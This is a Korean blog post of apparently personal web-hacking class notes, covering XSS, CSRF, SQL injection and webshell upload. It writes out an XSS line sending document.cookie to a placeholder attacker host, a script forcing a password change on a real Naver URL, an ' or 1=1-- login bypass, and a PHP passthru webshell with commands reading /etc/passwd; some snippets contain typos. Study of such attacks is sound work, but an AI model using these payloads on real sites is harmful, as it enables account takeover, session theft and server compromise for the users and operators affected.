document.location=http://해커ip/cookie=?document.cookie
csrf 크로사이트 요청 위조
피해자의 아이디는 알지만 비밀번호는 몰라.그래도 로그인 하고싶다.
피해자의 계정 비밀번호를 내가원하는 값으로 바꾸게 하자.
요청위조
내pc에서 내 비밀번호를 바꿔보니 정상적인 요청은 다음과 같다.
www.naver.com/account.jsp?passwd=ksdfgy849
https://nid.naver.com/user2/help/myInfo.nhn?m=viewChangePasswd&lang=ko_KR&pass=034848dw4qddqd
pass=~~~~이걸추가하면
비밀번호가 초기화 되더라
<script>
location.htef=https://nid.naver.com/user2/help/myInfo.nhn?m=viewChangePasswd&lang=ko_KR&pass=034848dw4qddqd
</script>
ㅇ이걸 사용자가 실행을하면 비밀번호가 바뀜
비밀번호를 변경하는 요청(url)을 피해자가 실행하게 만든다.
jason
jason1234
웹서버 : select * from account where id="and pass="
db서버: select * from account where id='jason and pass='jason1234'
조회되는 값이 1개 이상이라도 있으면 인증 성공
jason
' or 1=1--
웹서버 : select * from account where id="and pass="
db서버: select * from account where id='jason and pass=''or 1=1--'
---------------------------------------------------
웹셸 업로드*
php서버
webshell.php
<?
passthru[get(cmd)]
?>
브라우저
www.naver.com/bbs?id=300&file=webshell.php&cmd=cat /etc/passwd
www.naver.com/bbs?id=300&file=webshell.php&cmd=ifconfig
이런식으로 웹 브라우저에서 보이게됨!
http 는 stateless -cookie
연결자동으로끊김
로그인을하면 3 way handshaking 연결
쿠키를 생성
4 way handshaking 연결 끊는다
자동연결끊김.
-------------------------------------------------------------
arp 캐쉬메모리삭제.
netsh interface ip delete arpcache
arp -a
'Web hacking' 카테고리의 다른 글
웹해킹 파일업로드 취약점 (0) | 2020.12.01 |
---|---|
csrf(크로스사이트 요청위조),좀비 (0) | 2020.12.01 |
웹해킹시간 제로보드취약점 기존스크립트유지 (0) | 2020.12.01 |
웹해킹.kr 버프슈트 intruder 자동 회원가입등, sqlmap,제로보드 취약점 (0) | 2020.12.01 |
웹해킹 ( beebug,xss공격,beef툴,setoolkit,사용자계정탈취) (0) | 2020.12.01 |